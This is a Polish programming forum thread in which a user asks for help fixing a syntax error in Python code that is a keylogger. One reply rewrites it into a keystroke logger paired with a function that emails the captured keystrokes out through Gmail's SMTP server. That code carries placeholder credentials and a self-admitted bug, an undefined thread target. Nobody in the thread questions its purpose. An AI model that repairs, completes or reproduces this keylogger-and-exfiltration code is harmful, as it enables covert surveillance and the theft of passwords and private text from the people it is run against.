Wątek przeniesiony 2019-07-01 22:13 z przez cerrato.

Python invalid syntax error przy kompilacji

Odpowiedz Nowy wątek
2019-07-01 21:45
0

Witam, podczas kompilacji kodu, wyskakuje error invalid syntax przy for string in . Wie ktoś jak to naprawić?

import threading
import os
import keyboard
import smtplib
from time import sleep

def wyslijzalacznik():
        FILE_NAME="helloworld.txt"
        CLEAR_ONSTARTUP=False
        TERMINATE_KEY="enter"

        if  CLEAR_ONSTARTUP:
                os.remove(FILE_NAME)
                output=open(FILE_NAME, "a")
        for string in  //TUTAJ ERROR
        keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()
edytowany 1x, ostatnio: hauleth, 2019-07-01 21:52
Pokaż pozostałe 3 komentarze
Ale raczej nie mowimy tutaj o kompilowaniu mimo wszystko - stivens 2019-07-01 22:20
Jeśli Masz na myśli kompilację, jako tłumaczenie do kodu maszynowego to nie, ale generalnie kompilacja to tłumaczenie z języka na język (może być ten sam), więc w takim sensie tak. - lion137 2019-07-01 22:23
Java tez sie do bytecodu kompiluje ale tam juz smialo o kompilacji mozna mowic. Po prostu jest taka troche intuicyjna interpretacja co jest kompilowane a co interpretowane i nie ma chyba co sie nad tym rozwodzic - stivens 2019-07-01 22:26
Java ma JIT, który kompiluje pewne sekwencje byte codu do kodu maszynowego, a niektóre interpretuje, więc w tym sensie Java jest bardziej kompilowana niż Python. - lion137 2019-07-01 22:31
I co wazne statycznie sprawdzana pod wzgledem czesciowej poprawnosci - stivens 2019-07-01 22:33

Pozostało 580 znaków

2019-07-01 22:22
0

Sluchaj Python wymusza po prostu poprawne wcinanie kodu. Podkresle poprawne, nie jakies specjalne czy magiczne a zwyczajnie poprawnie wiec napisz te wciecia tak jak normalnie powinny byc w kodzie i bedzie dzialac


01010100 01110101 01110100 01100001 01101010 00100000 01101110 01101001 01100101 00100000 01101101 01100001 00100000 01101110 01101001 01100011 00100000 01100011 01101001 01100101 01101011 01100001 01110111 01100101 01100111 01101111 00101110 00100000 01001001 01100011 00100000 01110011 01110100 01101111 01101110 01110100 00101110
edytowany 1x, ostatnio: stivens, 2019-07-01 22:23

Pozostało 580 znaków

2019-07-02 19:13
0
import threading
import os
import keyboard
import smtplib
from time import sleep

FILE_NAME = "helloworld.txt"

def keylogger():
    CLEAR_ONSTARTUP = False
    TERMINATE_KEY = "enter"

    if CLEAR_ONSTARTUP:
        os.remove(FILE_NAME)

    with open(FILE_NAME, "a") as output:
        for string in keyboard.get_typed_strings(keyboard.record(until=TERMINATE_KEY)):
            output.write(string)

def sendmail():
    gmail_user = "login"
    gmail_password = "pass"
    FROM = gmail_user
    TO = ["[email protected]"]
    Subject = "test"

    try:
        f = open(FILE_NAME, "r")

        text = f.read()
        message = f'From: {FROM}\nTo: {", ".join(TO)}\nSubject: {Subject}\n{text}'

        try:
            server = smtplib.SMTP("smtp.gmail.com", 587)
            server.ehlo()
            server.starttls()
            server.login(gmail_user, gmail_password)
            server.sendmail(FROM, TO, message)
            server.close()

        except Exception as ex:
            print(ex)
    except:
        pass

while True:
    if __name__ == "__main__":

        key = threading.Thread(target=hellowr)
        mail = threading.Thread(target=sendmail)

        key.start()
        mail.start()

        key.join()
        mail.join()

jest cus takiego ale nie wiem czy dziala bo po pierwsze

key = threading.Thread(target=hellowr)

???
a po drugie cos mi sie gmail nie chce zalogowac a nie chce mi sie kombinowac

ogolnie to bardzo zle wciecia ale mniejsza...
albo jednak podam przyklad

 for string in
       keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()

wtf? zamykasz output w petli?


01010100 01110101 01110100 01100001 01101010 00100000 01101110 01101001 01100101 00100000 01101101 01100001 00100000 01101110 01101001 01100011 00100000 01100011 01101001 01100101 01101011 01100001 01110111 01100101 01100111 01101111 00101110 00100000 01001001 01100011 00100000 01110011 01110100 01101111 01101110 01110100 00101110
edytowany 2x, ostatnio: stivens, 2019-07-02 19:16

Pozostało 580 znaków

Odpowiedz
Liczba odpowiedzi na stronę

1 użytkowników online, w tym zalogowanych: 0, gości: 0, botów: 1

Robot: CCBot